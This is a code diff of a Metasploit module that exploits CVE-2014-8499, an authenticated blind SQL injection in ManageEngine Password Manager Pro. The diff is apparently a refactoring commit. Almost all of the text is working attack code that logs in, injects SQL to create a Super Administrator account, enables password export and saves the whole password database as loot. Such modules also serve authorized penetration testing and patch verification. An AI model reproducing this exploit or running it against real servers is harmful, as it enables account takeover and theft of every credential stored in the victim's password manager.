1
1
##
2
- # This module requires Metasploit: http//metasploit.com/download
2
+ # This module requires Metasploit: http: //metasploit.com/download
3
3
# Current source: https://github.com/rapid7/metasploit-framework
4
4
##
5
5
@@ -12,19 +12,18 @@ class Metasploit3 < Msf::Auxiliary
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
15
- 'Name' => 'ManageEngine Password Manager Pro Super Administrator Account Creation and Password DB Retrieval ' ,
15
+ 'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection ' ,
16
16
'Description' => %q{
17
17
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
18
18
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
19
19
privileges and obtain Super Administrator access. A Super Administrator can then
20
- use its privileges to dump the whole password database in CSV format.
21
- PMP can use both MySQL and PostgreSQL databases but this module only exploits the
22
- latter as MySQL does not support stacked queries with Java.
23
- PostgreSQL is the default database in v6.8 and above, but older PMP versions can
24
- be upgraded and continue using MySQL, so a higher version does not guarantee
25
- exploitability.
26
- This module has been tested on v6.8 to v7.1 build 7104 on both Windows and Linux.
27
- The vulnerability is fixed in v7.1 build 7105 and above.
20
+ use its privileges to dump the whole password database in CSV format. PMP can use
21
+ both MySQL and PostgreSQL databases but this module only exploits the latter as
22
+ MySQL does not support stacked queries with Java. PostgreSQL is the default database
23
+ in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
24
+ so a higher version does not guarantee exploitability. This module has been tested
25
+ on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
26
+ v7.1 build 7105 and above.
28
27
} ,
29
28
'Author' =>
30
29
[
@@ -34,22 +33,18 @@ def initialize(info = {})
34
33
'References' =>
35
34
[
36
35
[ 'CVE' , '2014-8499' ] ,
37
- [ 'OSVDB' , 'TODO' ] ,
36
+ # [ 'OSVDB', 'TODO' ],
38
37
[ 'URL' , 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt' ] ,
39
38
[ 'URL' , 'http://seclists.org/fulldisclosure/2014/Nov/18' ]
40
39
] ,
41
40
'DisclosureDate' => 'Nov 8 2014' ) )
42
41
43
42
register_options (
44
43
[
45
- OptPort . new ( 'RPORT' ,
46
- [ true , 'The target port' , 7272 ] ) ,
47
- OptBool . new ( 'SSL' ,
48
- [ true , 'Use SSL' , true ] ) ,
49
- OptString . new ( 'USERNAME' ,
50
- [ true , 'The username to login as' , 'guest' ] ) ,
51
- OptString . new ( 'PASSWORD' ,
52
- [ true , 'Password for the specified username' , 'guest' ] ) ,
44
+ Opt ::RPORT ( 7272 ) ,
45
+ OptBool . new ( 'SSL' , [ true , 'Use SSL' , true ] ) ,
46
+ OptString . new ( 'USERNAME' , [ true , 'The username to login as' , 'guest' ] ) ,
47
+ OptString . new ( 'PASSWORD' , [ true , 'Password for the specified username' , 'guest' ] ) ,
53
48
OptString . new ( 'TARGETURI' , [ true , "Password Manager Pro application URI" , '/' ] )
54
49
] , self . class )
55
50
end
@@ -59,18 +54,18 @@ def login(username, password)
59
54
# 1st step: we obtain a JSESSIONID cookie...
60
55
res = send_request_cgi ( {
61
56
'method' => 'GET' ,
62
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'PassTrixMain.cc' )
57
+ 'uri' => normalize_uri ( target_uri . path , 'PassTrixMain.cc' )
63
58
} )
64
59
65
- if res and res . code == 200
60
+ if res && res . code == 200
66
61
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
67
- if res . body . to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w ]*)"/
62
+ if res . body && res . body . to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w ]*)"/
68
63
orgn_name = $1
69
64
else
70
65
orgn_name = nil
71
66
end
72
67
73
- if res . body . to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w ]*)"/
68
+ if res . body && res . body . to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w ]*)"/
74
69
authrule_name = $1
75
70
else
76
71
authrule_name = nil
@@ -80,15 +75,15 @@ def login(username, password)
80
75
cookie = res . get_cookies
81
76
res = send_request_cgi ( {
82
77
'method' => 'POST' ,
83
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'login' , 'AjaxResponse.jsp' ) ,
78
+ 'uri' => normalize_uri ( target_uri . path , 'login' , 'AjaxResponse.jsp' ) ,
84
79
'ctype' => "application/x-www-form-urlencoded" ,
85
80
'cookie' => cookie ,
86
81
'vars_get' => {
87
82
'RequestType' => 'GetUserDomainName' ,
88
83
'userName' => username
89
84
}
90
85
} )
91
- if res and res . code == 200
86
+ if res && res . code == 200 && res . body
92
87
domain_name = res . body . to_s . strip
93
88
else
94
89
domain_name = nil
@@ -107,19 +102,19 @@ def login(username, password)
107
102
108
103
res = send_request_cgi ( {
109
104
'method' => 'POST' ,
110
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'j_security_check;' + cookie . to_s . gsub ( ';' , '' ) ) ,
105
+ 'uri' => normalize_uri ( target_uri . path , 'j_security_check;' + cookie . to_s . gsub ( ';' , '' ) ) ,
111
106
'ctype' => "application/x-www-form-urlencoded" ,
112
107
'cookie' => cookie ,
113
108
'vars_post' => vars_post
114
109
} )
115
- if res and res . code == 302
110
+ if res && res . code == 302
116
111
res = send_request_cgi ( {
117
112
'method' => 'GET' ,
118
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'PassTrixMain.cc' ) ,
113
+ 'uri' => normalize_uri ( target_uri . path , 'PassTrixMain.cc' ) ,
119
114
'cookie' => cookie ,
120
115
} )
121
116
122
- if res and res . code == 200
117
+ if res && res . code == 200
123
118
# 5th step: get the c ookies sent in the last response
124
119
return res . get_cookies
125
120
end
@@ -179,7 +174,7 @@ def inject_sql(old_style)
179
174
180
175
res = send_request_cgi ( {
181
176
'method' => 'POST' ,
182
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , "SQLAdvancedALSearchResult.cc" ) ,
177
+ 'uri' => normalize_uri ( target_uri . path , "SQLAdvancedALSearchResult.cc" ) ,
183
178
'cookie' => @cookie ,
184
179
'vars_post' => {
185
180
'COUNT' => Rex ::Text . rand_text_numeric ( 2 ) ,
@@ -194,10 +189,10 @@ def inject_sql(old_style)
194
189
195
190
def get_version
196
191
res = send_request_cgi ( {
197
- 'uri' => normalize_uri ( "PassTrixMain.cc" ) ,
198
- 'method' => 'GET'
199
- } )
200
- if res && res . code == 200 &&
192
+ 'uri' => normalize_uri ( "PassTrixMain.cc" ) ,
193
+ 'method' => 'GET'
194
+ } )
195
+ if res && res . code == 200 && res . body &&
201
196
res . body . to_s =~ /ManageEngine Password Manager Pro/ &&
202
197
(
203
198
res . body . to_s =~ /login\. css\? ([0-9]+)/ || # PMP v6
@@ -225,10 +220,14 @@ def check
225
220
226
221
227
222
def run
223
+ unless check == Exploit ::CheckCode ::Appears
224
+ print_error ( "#{ peer } - Fingerprint hasn't been successful, trying to exploit anyway..." )
225
+ end
226
+
228
227
version = get_version
229
228
@cookie = login ( datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
230
229
if @cookie == nil
231
- fail_with ( Failure ::Unknown , "#{ peer } - Failed to authenticate." )
230
+ fail_with ( Failure ::NoAccess , "#{ peer } - Failed to authenticate." )
232
231
end
233
232
234
233
creds = inject_sql ( version < 7000 ? true : false )
@@ -237,81 +236,93 @@ def run
237
236
print_good ( "#{ peer } - Created a new Super Administrator with username: #{ username } | password: #{ password } " )
238
237
239
238
cookie_su = login ( username , password )
240
- if cookie_su != nil
241
239
242
- # 1st we turn on password exports
243
- send_request_cgi ( {
244
- 'method' => 'POST' ,
245
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'ConfigureOffline.ve' ) ,
246
- 'cookie' => cookie_su ,
247
- 'vars_post' => {
248
- 'IS_XLS' => 'true' ,
249
- 'includePasswd' => 'true' ,
250
- 'HOMETAB' => 'true' ,
251
- 'RESTAB' => 'true' ,
252
- 'RGTAB' => 'true' ,
253
- 'PASSWD_RULE' => 'Offline Password File' ,
254
- 'LOGOUT_TIME' => '20'
255
- }
256
- } )
257
-
258
- # now get the loot!
259
- res = send_request_cgi ( {
260
- 'method' => 'GET' ,
261
- 'uri' => normalize_uri ( datastore [ 'TARGETURI' ] , 'jsp' , 'xmlhttp' , 'AjaxResponse.jsp' ) ,
262
- 'cookie' => cookie_su ,
263
- 'vars_get' => {
264
- 'RequestType' => 'ExportResources'
265
- }
266
- } )
267
- if res and res . code == 200 and res . body . to_s . length > 0
268
- vprint_line ( res . body . to_s )
269
- print_good ( "#{ peer } - Successfully exported password database from Password Manager Pro." )
270
- loot_name = 'manageengine.passwordmanagerpro.password.db'
271
- loot_type = 'text/csv'
272
- loot_filename = 'manageengine_pmp_password_db.csv'
273
- loot_desc = 'ManageEngine Password Manager Pro Password DB'
274
- p = store_loot (
275
- loot_name ,
276
- loot_type ,
277
- rhost ,
278
- res . body ,
279
- loot_filename ,
280
- loot_desc )
281
- print_status "Password database saved in: #{ p } "
282
- else
283
- print_error ( "#{ peer } - Failed to export Password Manager Pro passwords." )
284
- end
285
- status = Metasploit ::Model ::Login ::Status ::SUCCESSFUL
286
- else
287
- print_error ( "#{ peer } - Failed to authenticate as Super Administrator, account #{ username } might not work." )
288
- status = Metasploit ::Model ::Login ::Status ::DENIED_ACCESS
240
+ if cookie_su . nil?
241
+ fail_with ( Failure ::NoAccess , "#{ peer } - Failed to authenticate as Super Administrator, account #{ username } might not work." )
289
242
end
290
243
244
+ print_status ( "#{ peer } - Reporting Super Administrator credentials..." )
245
+ report_super_admin_creds ( username , password )
246
+
247
+ print_status ( "#{ peer } - Leaking Password database..." )
248
+ loot_passwords ( cookie_su )
249
+ end
250
+
251
+ def report_super_admin_creds ( username , password )
252
+ status = Metasploit ::Model ::Login ::Status ::SUCCESSFUL
253
+
291
254
service_data = {
292
- address : rhost ,
293
- port : rport ,
294
- service_name : 'https' ,
295
- protocol : 'tcp' ,
296
- workspace_id : myworkspace_id
255
+ address : rhost ,
256
+ port : rport ,
257
+ service_name : 'https' ,
258
+ protocol : 'tcp' ,
259
+ workspace_id : myworkspace_id
297
260
}
261
+
298
262
credential_data = {
299
- origin_type : :service ,
300
- module_fullname : self . fullname ,
301
- private_type : :password ,
302
- private_data : username ,
303
- username : password
263
+ origin_type : :service ,
264
+ module_fullname : self . fullname ,
265
+ private_type : :password ,
266
+ private_data : username ,
267
+ username : password
304
268
}
305
269
306
270
credential_data . merge! ( service_data )
307
271
credential_core = create_credential ( credential_data )
308
272
login_data = {
309
- core : credential_core ,
310
- access_level : 'Super Administrator' ,
311
- status : status ,
312
- last_attempted_at : DateTime . now
273
+ core : credential_core ,
274
+ access_level : 'Super Administrator' ,
275
+ status : status ,
276
+ last_attempted_at : DateTime . now
313
277
}
314
278
login_data . merge! ( service_data )
315
279
create_credential_login ( login_data )
316
280
end
281
+
282
+ def loot_passwords ( cookie_admin )
283
+ # 1st we turn on password exports
284
+ send_request_cgi ( {
285
+ 'method' => 'POST' ,
286
+ 'uri' => normalize_uri ( target_uri . path , 'ConfigureOffline.ve' ) ,
287
+ 'cookie' => cookie_admin ,
288
+ 'vars_post' => {
289
+ 'IS_XLS' => 'true' ,
290
+ 'includePasswd' => 'true' ,
291
+ 'HOMETAB' => 'true' ,
292
+ 'RESTAB' => 'true' ,
293
+ 'RGTAB' => 'true' ,
294
+ 'PASSWD_RULE' => 'Offline Password File' ,
295
+ 'LOGOUT_TIME' => '20'
296
+ }
297
+ } )
298
+
299
+ # now get the loot!
300
+ res = send_request_cgi ( {
301
+ 'method' => 'GET' ,
302
+ 'uri' => normalize_uri ( target_uri . path , 'jsp' , 'xmlhttp' , 'AjaxResponse.jsp' ) ,
303
+ 'cookie' => cookie_admin ,
304
+ 'vars_get' => {
305
+ 'RequestType' => 'ExportResources'
306
+ }
307
+ } )
308
+
309
+ if res && res . code == 200 && res . body && res . body . to_s . length > 0
310
+ vprint_line ( res . body . to_s )
311
+ print_good ( "#{ peer } - Successfully exported password database from Password Manager Pro." )
312
+ loot_name = 'manageengine.passwordmanagerpro.password.db'
313
+ loot_type = 'text/csv'
314
+ loot_filename = 'manageengine_pmp_password_db.csv'
315
+ loot_desc = 'ManageEngine Password Manager Pro Password DB'
316
+ p = store_loot (
317
+ loot_name ,
318
+ loot_type ,
319
+ rhost ,
320
+ res . body ,
321
+ loot_filename ,
322
+ loot_desc )
323
+ print_status ( "#{ peer } - Password database saved in: #{ p } " )
324
+ else
325
+ print_error ( "#{ peer } - Failed to export Password Manager Pro passwords." )
326
+ end
327
+ end
317
328
end
0 commit comments